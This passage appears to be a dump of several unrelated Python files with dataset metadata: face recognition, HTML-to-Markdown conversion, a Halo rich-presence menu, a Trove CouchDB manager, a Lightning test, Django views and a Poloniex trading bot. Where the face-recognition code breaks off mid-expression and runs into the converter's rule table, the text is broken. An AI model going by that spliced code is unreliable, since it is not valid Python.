face_recognition\nimport facenet.detect_face\nimport facenet.detect_face_fromfacenet\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport re\nfrom sklearn import neighbors\nimport sklearn\n\n# 图像采集\ndef get_image(img_path=None):\n if img_path==None:\n # 1、调用摄像头进行拍照\n cap = cv2.VideoCapture(0)\n ret, img = cap.read()\n cap.release()\n else:\n # 2、根据提供的路径读取图像\n img=cv2.imread(img_path)\n\n return img\n\n# 人脸检测,如果有多张人脸,返回人脸最大的那一张\ndef face_check(img,alg):\n\n dets=None\n\n if alg=='opencv':\n # 1、使用 opencv 检测人脸\n # 加载人脸检测分类器(正面人脸),位于OpenCV的安装目录下\n face_cascade=cv2.CascadeClassifier('/usr/local/Cellar/python/3.6.5_1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/cv2/data/haarcascade_frontalface_default.xml')\n # 转灰度图\n img_gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n # 检测人脸(可能有多张),返回人脸位置信息(x,y,w,h)\n img_faces=face_cascade.detectMultiScale(img_gray)\n\n elif alg=='dlib':\n # 2、使用 Dlib 检测人脸\n # 安装 Dlib\n # conda activate tensorflow\n # conda install -c menpo dlib\n detector = dlib.get_frontal_face_detector()\n dets = detector(img, 1)\n\n img_faces=[]\n for i in range(len(dets)):\n x = dlib.rectangle.left(dets[i])\n y = dlib.rectangle.top(dets[i])\n h = dlib.rectangle.height(dets[i])\n w = dlib.rectangle.width(dets[i])\n img_faces.append([x,y,w,h])\n\n elif alg=='facerecognition':\n # 3、使用 face_recognition 检测人脸\n # 安装 face_recognition\n # 需要先安装dlib , 还有 CMake ( sudo apt-get install cmake )\n # conda activate tensorflow\n # pip install face_recognition\n\n face_locations = face_recognition.face_locations(img)\n\n img_faces = []\n for i in range(len(face_locations)):\n x = face_locations[i][3]\n y = face_locations[i][0]\n h = face_locations[i][2] - face_locations[i][0]\n w = face_locations[i][1] - face_locations[i][3]\n img_faces.append([x, y, w, h])\n\n elif alg=='facenet':\n # 4、使用 FaceNet 检测人脸\n # 安装 FaceNet\n # 到FaceNet的github上将源代码下载下来,以上相应的模型 https://github.com/davidsandberg/facenet\n with tf.Graph().as_default():\n sess = tf.Session()\n with sess.as_default():\n pnet, rnet, onet = facenet.detect_face_fromfacenet.create_mtcnn(sess, './facenet/model_check_point/')\n\n minsize = 20\n threshold = [0.6, 0.7, 0.7]\n factor = 0.709\n\n bounding_boxes, _ = facenet.detect_face_fromfacenet.detect_face(img, minsize, pnet, rnet, onet, threshold, factor)\n\n img_faces = []\n for face_position in bounding_boxes:\n face_position = face_position.astype(int)\n\n x = face_position[0]\n y = face_position[1]\n h = face_position[3] - face_position[1]\n w = face_position[2] - face_position[0]\n img_faces.append([x, y, w, h])\n\n # 获取面积最大的人脸\n face_xywh=[]\n for (x,y,w,h) in img_faces:\n face_xywh.append([w*h,h,w,y,x])\n\n max_face=[]\n face_num=len(face_xywh)\n if face_num>0:\n face_xywh=sorted(face_xywh,reverse=True)\n x=face_xywh[0][4]\n y=face_xywh[0][3]\n w=face_xywh[0][2]\n h=face_xywh[0][1]\n\n max_face=img[y:y+h,x:x+w]\n\n return max_face,dets\n\n\n# 获取模型路径,用于 FaceNet\ndef get_model_filenames(model_dir):\n files = os.listdir(model_dir)\n meta_files = [s for s in files if s.endswith('.meta')]\n if len(meta_files) == 0:\n raise ValueError('No meta file found in the model directory (%s)' % model_dir)\n elif len(meta_files) > 1:\n raise ValueError('There should not be more than one meta file in the model directory (%s)' % model_dir)\n meta_file = meta_files[0]\n ckpt = tf.train.get_checkpoint_state(model_dir)\n if ckpt and ckpt.model_checkpoint_path:\n ckpt_file = os.path.basename(ckpt.model_checkpoint_path)\n return meta_file, ckpt_file\n\n meta_files = [s for s in files if '.ckpt' in s]\n max_step = -1\n for f in files:\n step_str = re.match(r'(^model-[\\w\\- ]+.ckpt-(\\d+))', f)\n if step_str is not None and len(step_str.groups()) >= 2:\n step = int(step_str.groups()[1])\n if step > max_step:\n max_step = step\n ckpt_file = step_str.groups()[0]\n return meta_file, ckpt_file\n\n\n# 提取人脸特征\ndef get_feature(face_img,alg,dets=None):\n if alg=='opencv' or alg=='dlib':\n # 1、dlib 提取人脸特征\n # opencv 无法直接提取人脸特征,在这里设置 opencv 也采用 dlib 的特征提取方式\n # 下载模型:http://dlib.net/files/\n # 下载文件:shape_predictor_68_face_landmarks.dat.bz2\n # 解压文件,得到 shape_predictor_68_face_landmarks.dat 文件\n # 获取人脸检测器\n predictor = dlib.shape_predictor('./dlib_model/shape_predictor_68_face_landmarks.dat')\n for index,face in enumerate(dets):\n face_feature = predictor(face_img,face)\n elif alg=='facerecognition':\n # 2、face_recognition 提取人脸特征\n face_feature = face_recognition.face_encodings(face_img)\n face_feature=face_feature[0]\n elif alg=='facenet':\n # 3、FaceNet 提取人脸特征\n with tf.Graph().as_default():\n sess = tf.Session()\n with sess.as_default():\n batch_size=None\n image_size=160\n images_placeholder = tf.placeholder(tf.float32, shape=(batch_size,\n image_size,\n image_size, 3), name='input')\n\n phase_train_placeholder = tf.placeholder(tf.bool, name='phase_train')\n\n model_checkpoint_path = './facenet/model_check_point/'\n input_map = {'input': images_placeholder, 'phase_train': phase_train_placeholder}\n\n model_exp = os.path.expanduser(model_checkpoint_path)\n meta_file, ckpt_file = get_model_filenames(model_exp)\n\n saver = tf.train.import_meta_graph(os.path.join(model_exp, meta_file), input_map=input_map)\n saver.restore(sess, os.path.join(model_exp, ckpt_file))\n\n face_img = cv2.resize(face_img, (image_size, image_size), interpolation=cv2.INTER_CUBIC)\n data = np.stack([face_img])\n\n #images_placeholder = tf.get_default_graph().get_tensor_by_name(\"input:0\")\n embeddings = tf.get_default_graph().get_tensor_by_name(\"embeddings:0\")\n #phase_train_placeholder = tf.get_default_graph().get_tensor_by_name(\"phase_train:0\")\n feed_dict = {images_placeholder: data, phase_train_placeholder: False}\n face_feature = sess.run(embeddings, feed_dict=feed_dict)\n face_feature=face_feature[0]\n\n return face_feature\n\n# 获取所有人像照片的特征\ndef get_features_labels(img_dir,alg):\n features=[]\n labels=[]\n\n for filePath in os.listdir(img_dir):\n file_name = filePath.split('/')[-1]\n labels.append(file_name)\n\n img=get_image(img_dir+filePath)\n\n face_img,dets=face_check(img,alg)\n\n if alg == 'dlib' or alg == 'opencv':\n # 由于 dlib 的人脸特征提取函数只能传入原图像和人脸位置信息,因而特殊处理\n face_img = img\n face_feature=get_feature(face_img,alg,dets)\n\n features.append(face_feature)\n\n return features,labels\n\n# 人脸识别,返回人像的姓名\ndef get_name(face_feature,features,labels,dis_alg):\n\n name=''\n\n if dis_alg=='eucl':\n # 1、欧氏距离\n min_dis=99999\n min_idx=-1\n for i in range(len(features)):\n dis=np.sqrt(np.sum(np.square(face_feature-features[i])))\n if dis ', '\\n'),\n 'table' : ('\\n', ''),\n 'tr' : ('',''),\n 'td' : ('', ' | '),\n 'br' : ('', '\\n'),\n 'pre' : ('', ''),\n 'li' : ('* ', '\\n'),\n 'a' : \"[{}]({})\",\n 'span' : ('', '')\n # img\n # table\n \n }\n\n # 分别处理每种支持的标签\n def _traverseDom(self, tag, md_string = ''):\n try:\n # print(tag.name)\n if isinstance(tag, NavigableString):\n md_string = self._convertText(tag, md_string)\n elif tag.name == '[document]':\n for child in tag.children:\n md_string = self._traverseDom(child, md_string)\n elif tag.name == 'a':\n md_string = self._convertLink(tag, md_string)\n elif tag.name == \"table\":\n md_string += '\\n' + self._convertTable(tag, '')\n elif len(tag.contents) == 1:\n md_string = self._convertElement(tag, md_string)\n else:\n for child in tag.children:\n md_string = self._traverseDom(child, md_string)\n\n except:\n traceback.print_exc()\n\n return md_string \n\n def _convertText(self, tag, md_string):\n text = re.compile(r'[\\s]+').sub(' ', tag.string)\n text = text.lstrip().rstrip()\n md_string += text\n\n return md_string\n\n def _convertLink(self, tag, md_string):\n inner_string = ''\n for child in tag.children:\n inner_string = self._traverseDom(child, inner_string)\n \n if inner_string != '':\n md_string += self.__rule_replacement['a'].format(inner_string, tag.get('href') or tag.get_text(strip=True))\n\n return md_string\n\n # 转换table元素,是否要考虑table的td中有样式的情况?\n def _convertTable(self, tag, md_string):\n for child in tag.children:\n if child.name == 'tr':\n md_string += \"| \"\n md_string += self._convertTable(child, '')\n md_string += \"\\n\"\n elif child.name == 'th':\n md_string += \"| \"\n md_string += self._convertTable(child, '')\n md_string += \"\\n\"\n # Add markdown thead row\n n = len(tag.contents)\n print(tag.contents)\n while n > 0:\n md_string += \"| ------------- \"\n n = n - 1\n md_string += \"| \\n\"\n elif child.name == 'td':\n md_string += self.__rule_replacement[child.name][0] + child.string + self.__rule_replacement[child.name][1]\n \n return md_string\n\n # 将HTML标签元素按照预定义规则进行转换\n def _convertElement(self, tag, md_string):\n if tag.name in self.__rule_replacement:\n md_string += self.__rule_replacement[tag.name][0] + tag.string.lstrip().rstrip() + self.__rule_replacement[tag.name][1]\n # print(tag.name)\n # print(md_string)\n return md_string\n else:\n raise Exception(\"Unsupported Tag \" + tag.name + \" !\")\n\n def convert(self, html_string, template = ''):\n soup = BeautifulSoup(html_string, 'html.parser')\n\n # id=\"post_detail\" / cnblogs 模版\n # \n container = soup.select_one('#post_detail') \\\n or soup.select_one('body') \\\n or soup\n\n # print(html_string)\n print('----- Begin Convert ----')\n return self._traverseDom(container)\n\n def convertFile(self, income_file_path, outcome_file_path = ''):\n with open(income_file_path) as html_file:\n html_string = html_file.read()\n return self.convert(html_string)","sub_path":"blog2markdown/html2markdown.py","file_name":"html2markdown.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"49101127","text":"import json, ctypes, auth, shutil, richpresence \nfrom time import sleep\nfrom os import system, name, sys, path\nfrom additional import application_path, clear\n\ndef main():\n splashScreen()\n option(UI())\n \ndef optionUI():\n while True:\n option(UI())\n\ndef option(selection):\n \"\"\"Selction based on the number you chose. Look at list to modify.\n\n Args:\n selection (int): Runs lines of code based on a conditional\n\n Returns:\n [void]: Doesn't return anything. Just here in case errors.\n \"\"\"\n if(selection == 1):\n clear()\n auth.main()\n optionUI()\n elif(selection == 2):\n print(\"Run the command 'Ctrl C' to exit the program.\")\n print(\"Loading Code ...\")\n sleep(2)\n clear()\n richpresence.richpresence()\n elif(selection == 3):\n if(path.isdir(application_path() + \"\\\\tokens\") == True):\n shutil.rmtree(application_path() + \"\\\\tokens\")\n with open(richpresence.application_path() + \"\\\\rpc.json\", 'w') as j:\n rpc = {\n \"details\": \"\",\n \"state\": \"\",\n \"device\": \"\",\n \"game\": \"\"\n }\n json.dump(rpc, j, indent=2)\n sleep(2)\n clear()\n optionUI() \n elif(selection == 4):\n sys.exit()\n else:\n print(\"WIP\")\n sleep(2)\n clear()\n optionUI()\n \ndef UI():\n \"\"\"Main graphics ui. Currently it is a terminal UI.\n\n Returns:\n [void]: Doesn't return anything. Here in case errors.\n \"\"\"\n system('color 2')\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n print(\"Halo: MCC Rich Presence\")\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n print(\"List: \")\n print('1. Sign in using Oauth 2.0 (Requires you to save a link that looks like \"https://localhost/oauth_success?code=M.R3_BAY.\")')\n print(\"2. Launch the Rich Presence (Requires /tokens folder)\")\n print(\"3. Delete your Credentials\")\n print(\"4. Exit\")\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n print(\"Current Build: 0.3.3\")\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n selection = int(input(\"Select from list: \"))\n return selection\n\ndef splashScreen():\n \"\"\"Creates a Screen to show the devs and other program info.\n \"\"\"\n clear()\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n print(\"Halo: MCC Rich Presence\")\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n print(\"Created by kay-el-zed, Gurrman375D.\")\n print(\"Maintained by Gurrman375D.\")\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n print(\"Current Build: 0.3.3\")\n print(\"------------------------------------------------------------------------------------------------------------------------\")\n sleep(5)\n clear()\n\n \nif __name__ == \"__main__\":\n system('color 2')\n try:\n ctypes.windll.kernel32.SetConsoleTitleW(\"Halo Master Chief Collection Rich Presence\")\n main()\n except KeyboardInterrupt as e:\n print(e)\n sleep(1)\n clear()\n print(\"Manually Close the App\")\n optionUI()","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"426582849","text":"# Copyright 2015 IBM Corp.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\n\nfrom oslo_log import log as logging\n\nfrom trove.guestagent.datastore.experimental.couchdb import service\nfrom trove.guestagent.datastore import manager\nfrom trove.guestagent import volume\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass Manager(manager.Manager):\n \"\"\"\n This is CouchDB Manager class. It is dynamically loaded\n based off of the datastore of the Trove instance.\n \"\"\"\n\n def __init__(self):\n self.appStatus = service.CouchDBAppStatus()\n self.app = service.CouchDBApp(self.appStatus)\n super(Manager, self).__init__('couchdb')\n\n @property\n def status(self):\n return self.appStatus\n\n def do_prepare(self, context, packages, databases, memory_mb, users,\n device_path, mount_point, backup_info,\n config_contents, root_password, overrides,\n cluster_config, snapshot):\n \"\"\"This is called from prepare in the base class.\"\"\"\n self.app.install_if_needed(packages)\n if device_path:\n self.app.stop_db()\n device = volume.VolumeDevice(device_path)\n # unmount if device is already mounted\n device.unmount_device(device_path)\n device.format()\n if os.path.exists(mount_point):\n device.migrate_data(mount_point)\n device.mount(mount_point)\n LOG.debug('Mounted the volume (%s).' % device_path)\n self.app.start_db()\n self.app.change_permissions()\n self.app.make_host_reachable()\n\n def stop_db(self, context, do_not_start_on_reboot=False):\n \"\"\"\n Stop this CouchDB instance.\n This method is called when the guest agent\n gets a stop message from the taskmanager.\n \"\"\"\n LOG.debug(\"Stopping the CouchDB instance.\")\n self.app.stop_db(do_not_start_on_reboot=do_not_start_on_reboot)\n\n def restart(self, context):\n \"\"\"\n Restart this CouchDB instance.\n This method is called when the guest agent\n gets a restart message from the taskmanager.\n \"\"\"\n LOG.debug(\"Restarting the CouchDB instance.\")\n self.app.restart()\n\n def start_db_with_conf_changes(self, context, config_contents):\n LOG.debug(\"Starting CouchDB with configuration changes.\")\n self.app.start_db_with_conf_changes(config_contents)\n","sub_path":"trove/guestagent/datastore/experimental/couchdb/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"141985131","text":"# Copyright The PyTorch Lightning team.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport time\nfrom statistics import mean\nfrom typing import Iterator\n\nimport torch\nfrom torch.utils.data import DataLoader, IterableDataset\n\nfrom pytorch_lightning import LightningModule, Trainer\nfrom pytorch_lightning.utilities.types import STEP_OUTPUT\nfrom tests.helpers.runif import RunIf\n\n\ndef count_cycles_per_ms() -> float:\n \"\"\"\n Measure and return approximate number of cycles per millisecond for torch.cuda._sleep\n\n Copied from: github.com/pytorch/pytorch/blob/master/test/test_cuda.py\n \"\"\"\n\n def measure() -> float:\n start = torch.cuda.Event(enable_timing=True)\n end = torch.cuda.Event(enable_timing=True)\n start.record()\n torch.cuda._sleep(1000000)\n end.record()\n end.synchronize()\n cycles_per_ms = 1000000 / start.elapsed_time(end)\n return cycles_per_ms\n\n # Get 10 values and remove the 2 max and 2 min and return the avg.\n # This is to avoid system disturbance that skew the results, e.g.\n # the very first cuda call likely does a bunch of init, which takes\n # much longer than subsequent calls.\n #\n # Tested on both Tesla V100, Quadro GP100, Titan RTX, RTX 3090 GPUs\n # and seems to return stable values. Therefore, we enable caching\n # using lru_cache decorator above.\n num = 10\n vals = []\n for _ in range(num):\n vals.append(measure())\n vals = sorted(vals)\n return mean(vals[2 : num - 2])\n\n\n_CYCLES_PER_MS = int(count_cycles_per_ms()) if torch.cuda.is_available() else 0\n_BATCH_SIZE = 128\n_EMB_SZ = 100\n_EMB_DIM = 64\n\n\nclass RandomSparseDataset(IterableDataset):\n def __init__(self, emb_dim: int, batch_size: int, count: int) -> None:\n self.emb_dim = emb_dim\n self.batch_size = batch_size\n self.count = count\n\n def __iter__(self):\n for _ in range(self.count):\n yield torch.randint(self.emb_dim, [self.batch_size])\n\n\nclass ToyDLRMModel(LightningModule):\n \"\"\"\n A toy model for mimicking the communication overhead of sharded embedding\n modules in DLRM models.\n\n DLRM models can be trained in a DDP-like fashion, where each trainer\n receives different batches (embedding indices in this example). Since the\n embeddings are sharded across trainers, the lookup process involves (1)\n routing the indices to the trainer that possesses the corresponding\n embeddings (2) performing local lookup (3) routing the embedding lookup\n result back.\n\n The toy model doesn't actually performs index/result routing. It simply\n uses torch.cuda._sleep() to mimic the cost of the communication op (i.e.\n a2a).\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.automatic_optimization = False\n self.local_embedding = torch.nn.Embedding(_EMB_SZ, _EMB_DIM)\n\n def _route_indices(self, batch: torch.Tensor, non_blocking=False):\n \"\"\"\n This can be parallelized across different batches since it's model\n weight independent.\n\n Why not run this in dataloader/datamodule?\n - The routing logic depends on how model is sharded\n - Putting this in data preprocessor changes the semantic of the model\n \"\"\"\n torch.cuda._sleep(_CYCLES_PER_MS * 1_000)\n if not non_blocking:\n torch.cuda.synchronize()\n return batch\n\n def _route_result(self, result: torch.Tensor, non_blocking=False):\n torch.cuda._sleep(_CYCLES_PER_MS * 1_000)\n if not non_blocking:\n torch.cuda.synchronize()\n return result\n\n def forward(self, indices: torch.Tensor):\n local_indices = self._route_indices(indices)\n result = self.local_embedding(local_indices)\n return self._route_result(result)\n\n def training_step(self, batch: torch.Tensor, batch_idx: int) -> STEP_OUTPUT:\n return self.forward(batch)\n\n def configure_optimizers(self):\n return torch.optim.SGD(self.local_embedding.parameters(), lr=0.1)\n\n def train_dataloader(self):\n return DataLoader(RandomSparseDataset(_EMB_DIM, _BATCH_SIZE, 5))\n\n\nclass AsyncToyDLRMModel(ToyDLRMModel):\n def __init__(self):\n super().__init__()\n self.comm_stream = torch.cuda.Stream()\n self.batch_i = None\n self.batch_i_ready = torch.cuda.Event()\n\n def training_step(self, dataloader_iter: Iterator) -> STEP_OUTPUT:\n if self.batch_i is None:\n self.batch_i = next(dataloader_iter)\n with torch.cuda.stream(self.comm_stream):\n self._route_indices(self.batch_i, non_blocking=True)\n self.batch_i_ready.record()\n\n # Invariant: the routing for batch[i] has been kicked off\n is_last = False\n batch_ip1 = None\n batch_ip1_ready = torch.cuda.Event()\n try:\n batch_ip1 = next(dataloader_iter)\n with torch.cuda.stream(self.comm_stream):\n self._route_indices(batch_ip1, non_blocking=True)\n batch_ip1_ready.record()\n except StopIteration:\n is_last = True\n\n self.batch_i_ready.wait()\n\n result = self.local_embedding(self.batch_i)\n self._route_result(result)\n\n self.batch_i = batch_ip1\n self.batch_i_ready = batch_ip1_ready\n\n return {\"is_last\": is_last}\n\n\n@RunIf(min_gpus=1)\ndef test_inter_batch_parallelism(tmpdir):\n \"\"\"\n Verify the speedup of a simple inter-batch parallelization use case enabled\n by exposing `dataloader_iter` to `training_step`.\n \"\"\"\n begin_time = time.time()\n m = AsyncToyDLRMModel()\n trainer = Trainer(max_epochs=1, default_root_dir=tmpdir)\n trainer.fit(m)\n async_duration = time.time() - begin_time\n\n begin_time = time.time()\n m = ToyDLRMModel()\n trainer = Trainer(max_epochs=1, default_root_dir=tmpdir)\n trainer.fit(m)\n sync_duration = time.time() - begin_time\n\n # We expect 2x speedup. However, we only assert that the async\n # training_step is faster in order to avoid flaky tests\n assert async_duration < sync_duration, \"Expect `AsyncToyDLRMModel` to train faster than `ToyDLRMModel`.\"\n","sub_path":"tests/loops/test_inter_batch_parallelism.py","file_name":"test_inter_batch_parallelism.py","file_ext":"py","file_size_in_byte":6647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"128638608","text":"import json\nimport os\nimport time\n\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom andrewtfesta.settings import CONTENT_ROOT\n\n\ndef get_content_dict(page_name: str, section_name: str) -> dict:\n content_fname = os.path.join(CONTENT_ROOT, page_name, '{}.{}'.format(section_name, 'json'))\n if not os.path.isfile(content_fname):\n content_dict = ['Unable to locate {} {} information at: {}'.format(section_name, page_name, content_fname)]\n else:\n with open(content_fname, 'r+', encoding='utf8') as cfile:\n content_dict = json.load(cfile)\n return content_dict\n\n\ndef approach(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n approach_sections = get_content_dict('thesis', 'approach')\n render_dict = {\n 'page_title': 'Approach',\n 'sections': approach_sections\n }\n return render(request, 'thesis/approach.html', render_dict)\n\n\ndef architecture(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n architecture_sections = get_content_dict('thesis', 'architecture')\n render_dict = {\n 'page_title': 'Architecture',\n 'sections': architecture_sections\n }\n return render(request, 'thesis/architecture.html', render_dict)\n\n\ndef background(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n background_sections = get_content_dict('thesis', 'background')\n render_dict = {\n 'page_title': 'Background',\n 'sections': background_sections\n }\n return render(request, 'thesis/background.html', render_dict)\n\n\ndef index(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n index_sections = get_content_dict('thesis', 'index')\n render_dict = {\n 'page_title': 'Data Representation for Motor Imagery Classification',\n 'sections': index_sections\n }\n return render(request, 'thesis/index.html', render_dict)\n\n\ndef tasks(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n task_sections = get_content_dict('thesis', 'tasks')\n render_dict = {\n 'page_title': 'Tasks',\n 'sections': task_sections\n }\n return render(request, 'thesis/tasks.html', render_dict)\n\n\ndef timeline(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n timeline_sections = get_content_dict('thesis', 'timeline')\n render_dict = {\n 'page_title': 'Timeline',\n 'sections': timeline_sections\n }\n\n return render(request, 'thesis/timeline.html', render_dict)\n\n\ndef updates(request):\n time_stamp = time.strftime('%b %d, %Y, %H:%M:%S', time.gmtime())\n\n updates_sections = get_content_dict('thesis', 'updates')\n render_dict = {\n 'page_title': 'Updates',\n 'sections': updates_sections\n }\n\n return render(request, 'thesis/updates.html', render_dict)\n","sub_path":"thesis/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"478698040","text":"import threading\nfrom threading import Timer\nimport random\nimport time\n\nfrom datetime import datetime, timedelta\n\nfrom configparser import ConfigParser\n\nfrom trading.esssencial.logger import log\nfrom trading.esssencial.api import Poloniex\nfrom trading.model.order import Order\nfrom trading.model.trade_currency import TradeCurrency\nfrom trading.model.data_source import BacktestDataSource,LiveDataSource\nfrom trading import ITradeAlgorithm, ANN, SniperBacktest, MACD, MyTradeAlgorithm, SimpleStrategy\n\napi_key = ''\napi_secret = ''\n\nupdate_interval = 0\n\ntrade_currencies = []\n\nlock = threading.Lock()\n\nmain_percent = 'main_percent'\nalt_percent = 'alt_percent'\nmin_buy_profit = 'min_buy_profit'\nmin_sell_profit = 'min_sell_profit'\nnew_order_threshold = 'new_order_threshold'\nmin_main = 'min_main'\nmin_alt = 'min_alt'\ntrading_history = 'trading_history'\ninitial_buy_rate = 'initial_buy_rate'\ninitial_sell_rate = 'initial_sell_rate'\nann_order_size = 'ann_order_size'\nann_threshold = 'ann_threshold'\n\n\ndef load_defaults(cfg, currency):\n dft_tc = TradeCurrency(currency_pair='',\n main_percent=float(cfg[currency][main_percent]) / 100.0,\n alt_percent=float(cfg[currency][alt_percent]) / 100.0,\n min_buy_profit=float(cfg[currency][min_buy_profit]) / 100.0,\n min_sell_profit=float(cfg[currency][min_sell_profit]) / 100.0,\n new_order_threshold=float(cfg[currency][new_order_threshold]) / 100.0,\n min_main=float(cfg[currency][min_main]),\n min_alt=float(cfg[currency][min_alt]),\n trading_history_in_minutes=float(cfg[currency][trading_history]),\n initial_buy_rate=float(cfg[currency][initial_buy_rate]),\n initial_sell_rate=float(cfg[currency][initial_sell_rate]),\n ann_order_size=float(cfg[currency][ann_order_size]),\n ann_threshold=float(cfg[currency][ann_threshold]))\n return dft_tc\n\n\ndef load_custom(cfg, dft_tc, pair):\n # initialize with defaults\n tc = TradeCurrency.from_tc(dft_tc)\n tc.currency_pair = pair\n\n # custom values\n if pair in cfg:\n tc.main_percent = float(cfg[pair][main_percent]) / 100 if main_percent in cfg[pair] else tc.main_percent\n tc.alt_percent = float(cfg[pair][alt_percent]) / 100.0 if alt_percent in cfg[pair] else tc.alt_percent\n tc.min_buy_profit = float(cfg[pair][min_buy_profit]) / 100.0 if min_buy_profit in cfg[pair] else tc.min_buy_profit\n tc.min_sell_profit = float(cfg[pair][min_sell_profit]) / 100.0 if min_sell_profit in cfg[pair] else tc.min_sell_profit\n tc.new_order_threshold = float(cfg[pair][new_order_threshold]) / 100.0 if new_order_threshold in cfg[pair] else tc.new_order_threshold\n tc.min_main = float(cfg[pair][min_main] if min_main in cfg[pair] else tc.min_main)\n tc.min_alt = float(cfg[pair][min_alt] if min_alt in cfg[pair] else tc.min_alt)\n tc.trading_history_in_minutes = float(cfg[pair][trading_history] if trading_history in cfg[pair] else tc.trading_history_in_minutes)\n tc.initial_buy_rate = float(cfg[pair][initial_buy_rate] if initial_buy_rate in cfg[pair] else tc.initial_buy_rate)\n tc.initial_sell_rate = float(cfg[pair][initial_sell_rate] if initial_sell_rate in cfg[pair] else tc.initial_sell_rate)\n tc.ann_order_size = float(cfg[pair][ann_order_size] if ann_order_size in cfg[pair] else tc.ann_order_size)\n tc.ann_threshold = float(cfg[pair][ann_threshold] if ann_threshold in cfg[pair] else tc.ann_threshold)\n\n return tc\n\n\ndef load_config():\n global api_key, api_secret, update_interval, trade_currencies\n\n cfg = ConfigParser()\n cfg.read('config.cfg')\n\n api_key = cfg['API']['key']\n api_secret = cfg['API']['secret']\n\n update_interval = float(cfg['PROCESS']['update_interval']) * 60\n\n btc_pairs = cfg['CURRENCY']['btc_pairs'].split(',') if 'btc_pairs' in cfg['CURRENCY'] else []\n usdt_pairs = cfg['CURRENCY']['usdt_pairs'].split(',') if 'usdt_pairs' in cfg['CURRENCY'] else []\n\n dft_tc_btc = load_defaults(cfg, 'BTC')\n dft_tc_usdt = load_defaults(cfg, 'USDT')\n\n for pair in btc_pairs:\n trade_currencies.append(load_custom(cfg, dft_tc_btc, pair))\n\n for pair in usdt_pairs:\n trade_currencies.append(load_custom(cfg, dft_tc_usdt, pair))\n\n\ndef update_loop(algorithm):\n with lock:\n assert isinstance(algorithm, ITradeAlgorithm)\n try:\n algorithm.update()\n try_again = False\n except Exception as e:\n log('An error occurred: ' + str(e.args), True)\n try_again = True\n\n if try_again:\n loop = Timer(random.randint(1, 10), update_loop, [algorithm])\n loop.start()\n else:\n loop = Timer(update_interval + random.randint(1, 10), update_loop, [algorithm])\n loop.start()\n\n\ndef main():\n try:\n load_config()\n\n template = \"{0:20}{1:>15}\\t\\t\\t{2:33}\"\n print('initializing')\n poloniex = Poloniex(api_key, api_secret)\n\n offset = 60 * 24 * 2 #2 Days Offset\n start = datetime.now() - timedelta(days=31)\n\n #MODE: 'BACKTEST' 'LIVE'\n mode = 'BACKTEST'\n\n for currency in trade_currencies:\n total_profit = 0\n\n if mode == 'LIVE':\n for currency in trade_currencies:\n source = LiveDataSource(currency, poloniex, start, offset, update_interval / 60)\n algorithm = SimpleStrategy(source, offset)\n update_loop(algorithm)\n time.sleep(10)\n if mode == 'BACKTEST':\n print('\\n\\nBackTest Mode - Gathering Data for ' + currency.currency_pair)\n source = BacktestDataSource(currency, poloniex, start, offset, update_interval / 60)\n algorithm = SimpleStrategy(source, offset)\n\n #source.plot_result()\n\n print('Updating... ' + currency.currency_pair)\n print(template.format('Initial Balances:', '$' + \"{0:.2f}\".format(source.main_balance), str(source.alt_balance)))\n while algorithm.update():\n continue\n total_main = 0\n total_alt = 0\n total_fee = 0\n total_trades = algorithm.winning_trades + algorithm.losing_trades\n accuracy = (abs(algorithm.winning_trades - algorithm.losing_trades) / total_trades) * 100 if total_trades > 0 else 0\n for order in algorithm.data_source.orders:\n assert isinstance(order, Order)\n total_main += abs(order.total)\n total_alt += abs(order.amount)\n total_fee += order.fee\n\n main_profit = algorithm.data_source.main_balance - algorithm.data_source.main_balance_init\n alt_profit = algorithm.data_source.alt_balance - algorithm.data_source.alt_balance_init\n highest_bid = float(poloniex.returnTicker()[currency.currency_pair]['highestBid'])\n profit = (alt_profit * highest_bid) + main_profit\n total_profit += profit\n\n print(template.format('Final Balances:', '$' + 